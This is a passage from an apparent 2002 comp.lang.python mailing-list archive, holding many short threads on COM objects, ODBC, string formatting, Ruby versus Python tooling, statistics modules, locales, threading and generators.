skippinet.com.au (Mark Hammond) Date: Mon, 27 May 2002 23:20:15 GMT Subject: Passing a Com Object as an argument References: Message-ID: <3CF2BF91.7070207@skippinet.com.au> Zsolt Marx wrote: > Hi there. I am using Python on Win32. I have just managed to > utilitze COM Objects in Python using the win32all package. > > Here's my question: How can I define a Python function having a COM > interface or a COM class as an argument? > > Thanks in advance In general, you don't need to do anything - the code calling your object can simply pass a COM object, and your Python code will get it. However, you will generally get a "raw" dispatch pointer. You generally want to wrap it up in a nice Dispatch object. Something like: def foo(self, bar): # bar is a "" bar = win32com.client.Dispatch(bar) # Now a usable object Mark. From sabine at textraeume.de Wed May 1 14:58:23 2002 From: sabine at textraeume.de (Sabine Richter) Date: Wed, 01 May 2002 20:58:23 +0200 Subject: Help: Using MyODBC with Python Message-ID: <3CD03ACF.B90C1F0A@textraeume.de> Hello, I downloaded and installed myODBC 3.51. As far as I understand, it is only the driver, which provides the connection to the database. In my example, it is MySQL 3.23.49. The manual says that in my application I have to allocate the environment handle, set the version, allocate the connection handle, conect to the server etc.. But don't I have to have a library / module which provides functions which I can use to do all that? But where is it? Or do I have to write all that by myself? I don't know where to begin. Please, may anybody help me understand the architecture and how to use myODBC with Python? Perhaps anybody has a code snippet for me? I have to be productive with that till tomorrow morning. So it is urgent for me. Thanks a lot for your help. Sabine From mjackson at wrc.xerox.com Wed May 8 12:53:49 2002 From: mjackson at wrc.xerox.com (Mark Jackson) Date: 8 May 2002 16:53:49 GMT Subject: Multibyte Character Surport for Python References: Message-ID: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) writes: > [Erno Kuusela] > > > In article , > > loewis at informatik.hu-berlin.de (Martin v. L?wis) writes: > > > | So far, it appeared that there is wide agreement that identifiers in > > | Python should be ASCII only. Do you disagree, i.e. do you *really* > > | want to use non-ASCII identifiers? > > > what would be the advantage in preventing non-english-speaking people > > from using python? Restricting Python identifiers to the ASCII charset does not prevent non-english-speaking people from using Python. > You know, there is a background irritation at not being able to program > in my own language, this irritation is permanent and never fades out -- > a bit like the fossile radiation after the big bang! :-) I surely like > Python a lot, but I would like it even more if it was on the side of > programmers of all nations, and not forcing everyone to wide portability: > there are many cases where planetary portability is just not a concern. Having lived in France and worked in French (doing physics, not programming) some years ago, I believe I am not entirely unaware of the difficulty you are having. Still, if you feel so strongly about this that you are prepared to write code that would, in fact, be unusable outside your own locale: whyever do you think the larger community should undertake the task of enabling you to do this? -- Mark Jackson - http://www.alumni.caltech.edu/~mjackson The Enron scandal calls into question the integrity of the entire capitalist system, which previously we assumed was based on honest, straightforward greed. - Joel Achenbach From larooy at xtar.co.nz Thu May 16 04:46:39 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Thu, 16 May 2002 20:46:39 +1200 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> <07o6euodv64ift86k4vbutdhdggiav86db@4ax.com> Message-ID: <20020516204639.2ab3df22.larooy@xtar.co.nz> On Thu, 16 May 2002 09:33:59 +0200 Matthias Baas wrote: > On Thu, 16 May 2002 04:19:43 GMT, Julia Bell > wrote: > > >I can create a string from a mixture of quoted strings and data with > >something like: > >mystring = "Value of parameter = " + parameter + " is unexpected" > >(where parameter is a variable holding a string value) > >Is there a way to embed the VALUE of the parameter in the string from > >within the quotes (essentially avoiding concatenating strings)? > >(I don't want to use formatted strings - I'm looking for something to > >simplify the line.) > > In the other replies you've already seen how to use formatted strings > which I would also consider to be the shortest way. > However, if you really insist on not using formatted strings you can > always use str() or repr(): > > mystring = "Value of parameter = " + str(parameter) + " is unexpected" > > The difference between str() and repr() is that str() is supposed to > return a string that's easy to read for humans whereas repr() should > include all information to re-create the value from the string. > As a shorthand for repr() you can use the ` apostrophes: > > mystring = "Value of parameter = " + `parameter` + " is unexpected" > > This makes the line almost as short as your original line. > > - Matthias - > Depends how badly you don't want to use formatted strings. Perhaps this as a compromise? mystring = "Value of parameter = %(parameter)s is unexpected"%vars() otherwise you can ====== import re parameter="something" def perlish(s,vars): return re.sub('\$(?P[a-zA-Z_].*?)\\b','%(\g)s',s)%vars() print perlish('Value of parameter = $parameter is unexpected',vars) ======= John From kragen at pobox.com Mon May 13 19:34:35 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 19:34:35 -0400 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: <837km7k4fo.fsf@panacea.canonical.org> Fernando P?rez writes: > James J. Besemer wrote: > > This is not as fully general as #ifdef but since even declarations are > > Why not just use #ifdef? ;) cpp will choke on strings spanning multiple lines; it knows too much about C syntax. You could use m4. My usual way to comment out a block is to highlight it and type control-C #, which comments out the block. But I use Emacs. From lac at strakt.com Sat May 18 06:46:47 2002 From: lac at strakt.com (Laura Creighton) Date: Sat, 18 May 2002 12:46:47 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from "Donn Cave" of "17 May 2002 18:56:34 GMT." References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <1021645025.3396@yasure> Message-ID: <200205181046.g4IAklrW022595@theraft.strakt.com> Donn Cave wrote: > Yes, but here "subjective" is really about development. You can develop > in a variety of directions depending on the influences of environment, > there's no arguing that. Is there also a non-subjective factor, i.e., > objective beauty? If we are all the same in some ways, then yes. These > two can be in conflict, hence rap music, and list comprehensions. > > Donn Cave, donn at u.washington.edu > -- This is the basis of the distinction between 'style' and 'beauty'. The word 'taste' is used, nowadays, to indicate both the appreciation of beauty and the appreciation of a certain style or fashion. This confusion is most unfortunate. It is tragic, but not uncommon for people to be discriminating about styles and fashions while remaining insenstive to beauty. Note -- if what you want to express is 'beyond reasonable debate; not merely an opinion' you do not need to get out the word 'objective' to describe that quality. Having found something beautiful, it is most frustrating when you show it to other people and they do not see it. But you do not bring them any closer by listing those qualities that you find attractive, because, in general, it is not that they have overlooked those qualities -- it is that the thing as a whole does not work for them. You can agree on all the objective qualities there -- it is the subjective 'experience of beauty' which you are getting and they are not. Laura Creighton From fperez528 at yahoo.com Wed May 15 13:04:19 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 15 May 2002 11:04:19 -0600 Subject: getting name of the function you're in References: <3CE295FF.2020202@packeteer.com> Message-ID: Bob Purvy wrote: > does anyone know how to do this? I asked our resident Python guru and > he didn't know. Also searched the docs reasonably thoroughly. > > it's for logging debug info to a custom log file. > > (I should mention that currently I'm on 2.0. Will move to 2.2 shortly, > so a 2.2-only answer is still useful.) google(python current function name) From reply at in_newsgroup.tks Tue May 21 19:53:57 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 21 May 2002 23:53:57 GMT Subject: Ruby for Newbie?! References: <91acf731.0205200939.41e89a8f@posting.google.com> Message-ID: jason at jvoegele.com (Jason Voegele) wrote in news:91acf731.0205200939.41e89a8f at posting.google.com: > Scrumpy wrote in message > news:... >> I want to learn a programming language. > > I wish you the best. Thanks >> 1/ Tools to create standalone apps to ease distribution i.e. no need >> to have Ruby installed or to ensure no conflicts between the version >> of Ruby used to develop the app and a different installed version. >> >> Python: Installer & py2exe. >> RUBY: ? > > Please see > http://www.rubygarden.org/ruby?DistributeARubyAppInASingleExecutable > > The short answer is that there are a couple of options, but neither > one is as stable as the Python equivalent. I followed some of the links in the URL you mentioned and found RubyGems http://sourceforge.net/projects/rubygems/ but you're right that the options are not as stable as Pythons :-( >> 2/ IDE. >> Python: Boa Constructor, Pythonwin, IDLE. >> RUBY: Practical Ruby (basic IDE for Windows). Is there a Linux IDE >> for Ruby? > > There is also RDE (Ruby Development Environment) for Windows. Just > recently, someone released a Ruby plugin for Eclipse, which is a > development environment written in Java, which runs on Linux and other > platforms. Of course, you also have Emacs and vi. :) :-P > The most promising project is FreeRIDE (http://www.rubyide.org), which > is a pure Ruby IDE currently under development. Unfortunately, the > FreeRIDE development team has not yet made a release, but they are > making very good progress. They have set the mark quite high for themselves but it could be very nice if they succeed. >> 3/ GUI toolkits/libraries. My preference is towards using wxWindows. >> Python: wxPython, PyQt, PyGTK. >> RUBY: > > Ruby has FXRuby (FOX), RubyGnome (Gtk+), rbXPCOM (Mozilla XPToolkit), > Ruby/FLTK, Ruby/Qt, and Ruby/Tk. More information at: > > http://www.rubyide.org/cgi-bin/wiki.pl?GUIFrameworkProject/GUICompariso > n Very interesting! I'd never heard about some of those GUI toolkits like FOX and FLTK. Definitely worth investigating! I was surprised how good the reviewer made QT sound. Ease of use, cross platform support and stability, licence and speed I guess are what I'd consider when choosing a GUI toolkit. >> 4/ Web platforms/frameworks etc. >> Python: mod_snake, mod_python, Webware. >> RUBY: mod_ruby - any comments about it's stability/suitability for >> web app development? Any Ruby equivalent to Webware and it's PHP like >> (psp) function? > > There are several that can be found on the Ruby Application Archive > (RAA). A few that spring immediately to mind are mod_ruby, IOWA, and > WEBrick. ERuby is the "PHP-like" ruby tool. I don't know anything > about Webware. Webware is here http://webware.sourceforge.net/ I read that mod_ruby is not very stable. Do you have any experience using it? As for the others, I'll have to investigate how stable and well supported they are. >> 5/ One file Interpreter i.e. to use on a shared hosting co.'s server >> that doesn't have Ruby installed. >> Python: mxCGIPython (uses the freeze tool). >> RUBY: ? > > I'm not sure what you mean here. For an explanation see http://www.egenix.com/files/python/mxCGIPython.html This type of support is probably only useful during my initial learning phase and perhaps when creating/updating small, non-critical websites. >> Is there an 'offical' Ruby binary for Windows? It looks like there >> are three unofficial ones created using three different compilers! > > It depends on what you mean by 'official'. The "de facto" official > Ruby binary for Windows is from "The Pragmatic Programmers", Dave > Thomas and Andrew Hunt. You can find it here: > > http://www.pragmaticprogrammer.com/ruby/downloads/ruby-install.html > > This version is now built using Microsoft Visual C++. Previous > version were built with gcc/cygwin. Windows binaries built with VC++, > gcc/cygwin, and mingw are all available for download. You can also > download the source and build with any C compiler you'd like. Official as in it's a Matsumoto Yukihiro (or a sanctioned Ruby core developer) certified binary, preferably released on http://www.ruby- lang.org/en/download.html. As per Python, the official Ruby Windows binary release would keep up to date with, at least, the stable Ruby source release. Unfortunately the status of Pragmatic Programmer's Windows binary is alpha. >> Finally, is there a good Ruby book aimed at newbie programmers (not >> existing programmers new to Ruby)? > > It has not yet been released, but Pete McBreen, author of "Software > Craftmanship", is currently writing a Ruby book aimed at newbie > programmers. Until this book is completed, the next best thing would > be Dave Thomas' and Andrew Hunt's "Programming Ruby", which is > available online at: > > http://www.rubycentral.com/book/ I'd already looked at "Programming Ruby" in a local bookshop and found that it's not an entry level programming book :) Once it's available, I would like to see Pete McBreen's "Learn how to be a software developer" book. Hopefully it'll be very Ruby centric and available soon ;-) In a newsgroup thread posting by Pete McBreen in Dec 2001, he wrote that "someone" was thinking about writing a Ruby version of "Thinking Like A Computer Scientist". I found the Python version http://www.ibiblio.org/obp/thinkCSpy/ a few weeks ago and if I start learning Python then that'll be my entry text. If the Ruby version is available then that would be very useful. > however this message has still not made it to comp.lang.ruby I've been using the same ISP since 1995 and comp.lang.ruby is the first newsgroup with which I've had this problem. It's good I also reposted to this newsgroup ;-) Do you know of an alternate NNTP server that I could connect with to access comp.lang.ruby? The only comment I can make at the moment regarding Python vs Ruby is that both languages seem quite capable but Python 'currently' seems to have an edge as far as the maturity of it's surrounding/supporting projects are concerned. I think my choice will boil down to which language has the best overall support and which language's syntax I personally prefer. In the case of syntax, this may mean that I'll have to initially learn to code in both Python and Ruby! Cheers, Scrumpy :) From dialtone#/N0SPAM/# at aruba.it Fri May 17 07:25:28 2002 From: dialtone#/N0SPAM/# at aruba.it (Dialtone) Date: Fri, 17 May 2002 13:25:28 +0200 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: On 17 May 2002 01:47:09 -0700, shagshag13 at yahoo.fr (Shagshag) wrote: >Another one is which are "standard" coding in Python ? I use another method. Since everything in Python is a module you can import and reload your module in the Interpreter without cut&paste the code every time. -- e-mail:dialtone#/N0SPAM/#@aruba.it|Non vorrei piacere a tutti togliere #N0SPAM# per inviare |Avrei meno stima di me stesso Powered by Debian Woody |Se piacessi a certa gente Co-Responsabile Hardware Information & Technology http://hit.edengames.net From salmonia at cf.ac.uk Fri May 10 09:09:14 2002 From: salmonia at cf.ac.uk (Alan James Salmoni) Date: Fri, 10 May 2002 14:09:14 +0100 Subject: Python for Statistic References: Message-ID: <3CDBC67A.4010805@cf.ac.uk> gimar wrote: > I need to know the best way to process data for statistical calculations. > Is there a reliable module out there that I could use for finding median, > chi square, std deviation, T Student ... ? > > Thank you in advance > > ciao > > GPaolo There is a module written by Gary Strangman called "stats.py" - go to http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html or try the "math" section of the vaults of parnassus. It has most of the stats stuff you need accessible from either lists or numpy arrays. Just in case, I'm writing a stats package called Salstat (http://salstat.sunsite.dk) which does lots of this stuff but with a funky (well, okay-ish!) GUI. Try the screenshots section - it even appears to work under OSX! I've used this to test the stats module against results from SPSS, StatView and Minitab, and it appears to work quite well apart from the Freidman chi square which I am working on (although I may be calling it incorrectly). Alan. From chris at cmb-enterprises.com Mon May 6 00:10:46 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 06 May 2002 00:10:46 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , gtaylor at lowebroadway.com (Garry Taylor) wrote: > Chris wrote in message > news:... > > In article , > > xiaotsing_79 at hotmail.com (David) wrote: > > > > > I have a lot of experience in ANSI C/C++, I want to learn a new > > > language and which it can help me in the work. > > > I just want to clear which(python or perl) is more comfort for me? > > > > In terms of how it looks, Perl might look more comfortable, but Python > > is likely to function more similarly to C++, while C will have more in > > common with Perl. > > > > Learn both. > > I use Perl at work day in day out, and use Python for my own personal > stuff, I would say that Python is better for pretty much everything, > particularly larger programs, where it's more structured syntax makes > code easier to read. I quite like Perl for CGI scripting, and little > 1-page scripts, but would never contemplate using it for a big > project. I would have agreed a few months ago. However, once you understand how to write modules in Perl, and how Perl's take on OO works, it becomes much easier to create large projects. Perl6 will definitely help with this also. From tim at vegeta.ath.cx Mon May 6 02:32:33 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Mon, 06 May 2002 06:32:33 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <3cd77dd6.1099557299@news.dsl.pipex.com> <3cd4edb0$0$230$cc9e4d1f@news.dial.pipex.com> Message-ID: Fernando P?rez graced us by uttering: > Tim Hammerquist wrote: > >> Nice. Should be more than enough, considering many professors accept >> (22/3) as a reasonable value (~3.142857...) > > you mean 22/7: Of course. Dammit. "Coffee..... Coffee NOW!" -- Droz, "PCU" Tim Hammerquist -- In 1968 it took the computing power of 2 C-64's to fly a rocket to the moon. Now, in 1998 it takes the Power of a Pentium 200 to run Microsoft Windows 98. Something must have gone wrong. From BPettersen at NAREX.com Tue May 21 21:12:19 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 21 May 2002 19:12:19 -0600 Subject: Is python really slow? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> > From: Chris [mailto:chrisl_ak at hotmail.com] > > I spend a fair amount of time on perl newsgroups, having the > need to use > perl for various parts of my job. I am now learning Python. I > am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion > here involves > using C for X and Y. I don't have time to learn another > language. I don't > see nearly as much discussion about doing this in the Perl newgroups. > Should I just be learning C instead? Is this just because of > the different > applications python is being put to use for or because Python > programmers > are more "multi-lingual" or is Python really so slow that one > needs to go > to C on a more regular basis? Python is not slow at all. There are however tasks that you would not normally do in a scripting language (heavy number crunching etc.). One of the good things about Python is that you can still write those types of applications in Python and only write the performance critical parts in C/C++ versus writing the entire application in C/C++. Many of us also have to deal with large libraries of pre-existing C/C++ libraries that we can't afford to rewrite in Python. Since it is almost trivial to wrap these libraries as Python extension modules it lets us have the best of two worlds. I'm not a Perl expert, but from what I hear it is considerably harder to extend/embed Perl (someone please correct me if I'm wrong ). -- bjorn From sholden at holdenweb.com Tue May 14 10:23:48 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 14 May 2002 10:23:48 -0400 Subject: python for this C: "if ((a = b(c)) != NULL)" References: <12257ec4.0205140344.2680b226@posting.google.com> Message-ID: "David Carson" wrote in message news:12257ec4.0205140344.2680b226 at posting.google.com... > "Mark McEahern" wrote in message news:... > > [David Carson] > > > So, how do I do this in Python, since I want to avoid running method > > > b() twice in the case where I want to use 'a' later? In other words, > > > I don't want to do: > > > > > > if b(c): > > > a = b(c) > > > use a here ... > > > > a = b(c) > > if a: > > ... > > > > // m > > > OK, so I wasn't quite clear in my original post. I got four fine > answers like this one -- that is how I do it too. > So what you really want to know is, why isn't Python more like C? > They lack the other criterion that makes me use this style in C in the > first place -- brevity. I choose the C syntax in the header because I > can save a line _and_ it is as clear and readable as the alternative > of doing it on two lines (as all these solutions suggest). I would > not choose it if it was not readable. > I would suggest that readability is a matter of opinion. Further, the original C consgtruct *is* a source of errors (use of "=" where "==" should have been used). > So, I'll ask again: How do I do the equivalent in Python so that it is > both clear and concise? > You don't, because concise is less clear. See http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.030.htp for a rationale behind the specific decision to exclude that particular conciseness. readability-counts-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From bkc at Murkworks.com Tue May 7 09:33:58 2002 From: bkc at Murkworks.com (Brad Clements) Date: Tue, 7 May 2002 09:33:58 -0400 Subject: Pyana 0.4.5 References: Message-ID: <3cd7d6a7$1_3@goliath.newsgroups.com> How does this solution compare to using Sablotron and Sablot.py? Curious... -- Novell DeveloperNet Sysop #5 _ "Brian Quinlan" wrote in message news:mailman.1020716653.23203.python-list at python.org... > Pyana is a XSLT transformation system for Python, based on the Apache > Group's Xalan processor. > > It combines the speed and compliance of the Xalan XSLT processor with > convenient access from Python. Key features include: > > 1. The ability to transform documents from a variety of sources, > including URIs, "reader" objects (e.g. Python file objects, > StringIO objects) and strings. > 2. The ability to extend the XPath language with functions written in > Python. > 3. Operation completely within the Python process for low overhead. > > This release adds the following features and fixes: > > 1. Stylesheets can be precompiled for better performance > 2. Source documents can be pre-parsed for better performance > 3. Custom entity resolvers can be installed. An entity resolver is a > class that can map a URI into a stream. For example, you could use > this feature to read your documents from a compressed archive > (I've written an example along these lines). > 4. Fixed a small memory leak in transformToString > 5. More efficient reading of XSL documents from reader objects > > The Pyana website is at: > http://pyana.sourceforge.net > > You might want to start by looking at the examples: > http://pyana.sourceforge.net/examples/ > > Cheers, > Brian > > > -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From marklists at mceahern.com Tue May 7 19:35:11 2002 From: marklists at mceahern.com (Mark McEahern) Date: Tue, 7 May 2002 18:35:11 -0500 Subject: Whats so good about Python? In-Reply-To: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: [BHE] > My question is: What does Python offer me over Perl? Why not do a simple google search and peruse the archives? You'll find more than enough content to whet your whistle and it will save us all the joy^H^H^Htedium of reading yet another endless thread on Python vs. Perl. Cheers, // mark From sholden at holdenweb.com Sun May 19 15:21:47 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:21:47 -0400 Subject: OT: Crazy Programming References: Message-ID: <9%SF8.58653$i42.57131@atlpnn01.usenetserver.com> "James J. Besemer" wrote [...] > As an affirmed Atheist I will strive to tread carefully here so as not to give > offense. > What, change the habits of a lifetime? ;-) regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From vincent at visualtrans.de Sun May 12 11:34:53 2002 From: vincent at visualtrans.de (vincent wehren) Date: Sun, 12 May 2002 17:34:53 +0200 Subject: unknown locale de_DE@euro References: Message-ID: Martin v. L?wis wrote: > "vincent wehren" writes: > >> The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by >> e.g. SuSe 8.0 Linux,is not (yet) regognized by the locale module of >> Python2.2. A ValueError is raised when calling the module's >> "getdefaultlocale()" method. How can one go about handling this? Should >> one add it to the encoding aliases in locale.py? Any suggestions? > > I recommend to either ignore or fix locale.getdefaultlocale; as is, it > is utterly broken. > > Why do you need it? If you want to obtain the locale's charset, use > locale.nl_langinfo(locale.CODESET) (after performing setlocale). > > HTH, > Martin Since I started off using Python on a win32 environment, locale_langinfo() had never been an option; true, on linux this'll work; Ofcourse, on Windows it won't. (ofcourse, de_DE at euro will hardly pop up on a Windows machine) Still, to be able to use one method on both OS's, wouldn't it be ok to add something likr elif '@' in code: return code.split('@').[0] to _parse_localename() or add 'de_de at euro': 'de_DE.ISO-8859-15' to locale_alias engine in locale.py....? Regards Vincent Wehren From cliechti at gmx.net Sat May 11 21:04:54 2002 From: cliechti at gmx.net (Chris Liechti) Date: 12 May 2002 03:04:54 +0200 Subject: Music, binary output from server? References: Message-ID: "Philipp Lenssen" wrote in news:abkali$5ob$1 at nets3.rz.RWTH-Aachen.DE: > Is there any way to programmatically create e.g. MIDI output via > parameters? Could I include like the following on a webpage: > i don't use background music on my pages because i don't like it that much, but it seems reasonable that any URL should do, including those pointing to a CGI. > Well I'm sure there must be a way, but has this been done before, are > there open source libraries? (I'm not mainly concerned about MIDI, any > music type that works in popular browsers should be OK.) wav is simple to generate too (see http://www.wotsit.org for descriptions) the other problem is that you would have to make up the waveforms for the instruments yourself. i think midi would be simpler to start with and i'm sure i saw references to a module on this group some time ago. try a search on groups.google.com. this seems like a good start (one line URL): http://groups.google.com/groups?q=python+midi&hl=en&ie=utf-8&oe=utf- 8&selm=199610240614.QAA01745%40jetsam.phm.gov.au&rnum=6 (he, even the midi.tar.gz link in the above article works and its dated back from 1996 :-) gr?sschen chris -- Chris From kragen at pobox.com Tue May 21 11:10:18 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 21 May 2002 11:10:18 -0400 Subject: How to know if a popen*() was successful? References: Message-ID: <83k7pxk04l.fsf@panacea.canonical.org> Eric Brunel writes: > On Unix, there's a simple way: use the Popen classes instead of the popen > functions and use the "poll" method: > > import popen2 > pager_cmd = 'less' > p = popen2.Popen4(pager_cmd) > if p.poll() != -1: > print "%s doesn't exist" % pager_cmd I think this is a race condition. Under some circumstances --- possibly only under heavy CPU load, heavy disk activity, heavy memory use, heavy network activity, or some combination of the above --- you will poll() before the child process does an exec() (or at least before it handles the error from the exec() and quits), or after the user has manually told the pager to exit. From peter at engcorp.com Sun May 5 01:49:22 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 05 May 2002 01:49:22 -0400 Subject: Something getmail-like, but with IMAP as well as POP3? References: Message-ID: <3CD4C7E2.47A049CA@engcorp.com> Lloyd Zusman wrote: > > I like the "getmail" utility (written in Python), but it only handles > POP3 retrieval. > > Does anyone know of any hacks or patches for "getmail", or perhaps another > Python utility altogether, which functions similarly to "getmail" but > which makes use of IMAP as well as POP3? Is it safe to assume you already know about the standard module imaplib? -Peter From mark.charsley at REMOVE_THIS.radioscape.com Wed May 22 05:46:00 2002 From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) Date: Wed, 22 May 2002 10:46 +0100 (BST) Subject: Threads References: Message-ID: In article , r.j.cunningham at virgin.net (Robert Cunningham) wrote: > Hopefully someone can clarify this for me, I have n threads running and > a global > var c now sometimes these threads may update c (c += 1 or c -= 1). My > question > is do I need to use a lock or something, at the moment I don't, I > assumed += is > 'atomic' - am I right?? Very unlikely - certainly with C, += reads a memory location into a register, adds a value to the register, and then writes the value back to the memory location. Unless Python has a very odd threading system, then a race condition could easily occur with two threads accessing the same variable. Most OS's these days come with atomic increment functions (that are significantly slower than +='s usual approach, which is why they aren't used by default). On Win32, you'll want to wrap InterlockedExchangeAdd, InterlockedIncrement etc., similar functions should exist on other platforms. Of course it's possible that someone will reply to this mentioning a python package that already does this... -- Mark - personal opinion only, could well be wrong, not representing company, don't sue us etc. etc. From peter at engcorp.com Mon May 6 19:43:10 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 19:43:10 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: Message-ID: <3CD7150E.E7D3DC76@engcorp.com> Mark McEahern wrote: > > [Peter Hansen] > > More out of curiosity than an intention of starting a flame war, but > > would someone post a snippet of twenty or so lines of Perl which they > > believe is "readable"? > > Does anyone know of research into what the criteria for readability might > be? That's a good slant on it! I have no idea ... Google? When I was looking at that "readable" Perl code which George pointed us to (some comments probably forthcoming from me in a reply to his post, but in any event thanks George! :) I started to ponder that question. "What makes code readable?" (Actually it was "why do I still not find this highly readable?") One thing that occurred to me was that the Perl code had a very high number of "transitions" between punctuation and text. Effectively every line, and sometimes literally a dozen times within a line, text and symbols are mixed. Not just the odd parenthesis or period, but great streams of that infamous Perl "line noise". I think a high "symbol-set-transition rate" (please offer a better term) leads to low readability. Punctuation itself also inherently lowers readability, I believe, which is a reason I find assembly easier to read than Perl, though clearly less productive. -Peter From greg at cosc.canterbury.ac.nz Mon May 6 01:36:46 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 06 May 2002 17:36:46 +1200 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3CD41962.57104BD7@acm.org> Message-ID: <3CD6166E.19CE99CB@cosc.canterbury.ac.nz> Robert George Mayer wrote: > > I find that it help to curse the Babylonian astronomers while > putting all the conversions in place. You can make both these tasks a litte easier using the following handy function: def curse_babylonian_astronomers(d): import math return d * math.pi / 180.0 -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From phd at phd.pp.ru Sat May 25 16:44:42 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 26 May 2002 00:44:42 +0400 Subject: email module in 2.2 In-Reply-To: ; from alex@securepipe.com on Sat, May 25, 2002 at 03:29:12PM -0500 References: Message-ID: <20020526004442.B23519@phd.pp.ru> On Sat, May 25, 2002 at 03:29:12PM -0500, Alex Russell wrote: > what bugs me most is that I can't seem to use get_payload to return JUST > the text/plain sections of the message. Any pointers? There are bugs in email module, and some of them were fixed in Python 2.2.1. Please upgrdae, if possible. One of those error was a problem with getting pyload of a multipart message, if there is only one part. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From tismer at tismer.com Sun May 19 05:28:15 2002 From: tismer at tismer.com (Christian Tismer) Date: Sun, 19 May 2002 11:28:15 +0200 Subject: Stackless, SMP and The GIL References: Message-ID: <3CE7702F.9010108@tismer.com> Christopher Saunter wrote: > Greetings all! > > A short question: is modifying (probably an understatement ;-) Python > to remove the global interpreter lock likely to be > > (a) Easier > (b) Harder > (c) Indifferent > > with stackless python over cpython? I suspect (c), but I'd be > interested to hear from anyone who knows better! Here anyone answering: I also suspect (c) for the following reason: Stackless' implementation is nearly orthogonal to Python's. That means, Python doesn't know about Stackless (and gets really tricked into thinking it was doing what it always did), and so doesn't Stackless. It does not know about the GIL, and it doesn't need it, because when it runs, the GIL is always accquired. In termas of that, Stackless is always switching inside of a "clean-room" environment. When I'm going to tackle asynchronous events and "real" parallelism, this might become an issue. probably-not-this-year - ly y'rs - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From sholden at holdenweb.com Thu May 30 09:33:04 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 09:33:04 -0400 Subject: Looking for an tutorial References: Message-ID: "Sebastian Roth" wrote in message news:mailman.1022669866.8228.python-list at python.org... > Hi all, > > I know, google could help me, but it doesn't prints any good links for > my request. Im looking for an python-tutorial about sockets and basic > network-data-transfers. I tried socket overview from the python > homepage/documentation but it doesn't say anything about InputOutput > over a network. Only about 'how to set up an server/client'. > > The Python library reference could'nt help me, too, because I'm looking > for some expamples, too. ;) > > So, do you know something about an good tutorial related to this topic? > Gordon MacMillan's primer on this topic is always well worth reading. See http://www.mcmillan-inc.com/sock1.html regards Stev e -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From phd at phd.pp.ru Fri May 24 08:19:49 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 24 May 2002 16:19:49 +0400 Subject: Iterating through two lists In-Reply-To: ; from marklists@mceahern.com on Fri, May 24, 2002 at 07:14:16AM -0500 References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: <20020524161949.T5050@phd.pp.ru> On Fri, May 24, 2002 at 07:14:16AM -0500, Mark McEahern wrote: > #! /usr/bin/env python > > from __future__ import generators > > def walklists(m, n): > i = 0 > while 1: > if i >= len(m) or i >= len(n): > break > yield (m[i], n[i]) > i += 1 You can safeley return from a generator: def walklists(m, n): i = 0 while 1: if i >= len(m) or i >= len(n): return yield (m[i], n[i]) i += 1 IMO this makes the code a bit more clear. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From bokr at oz.net Wed May 15 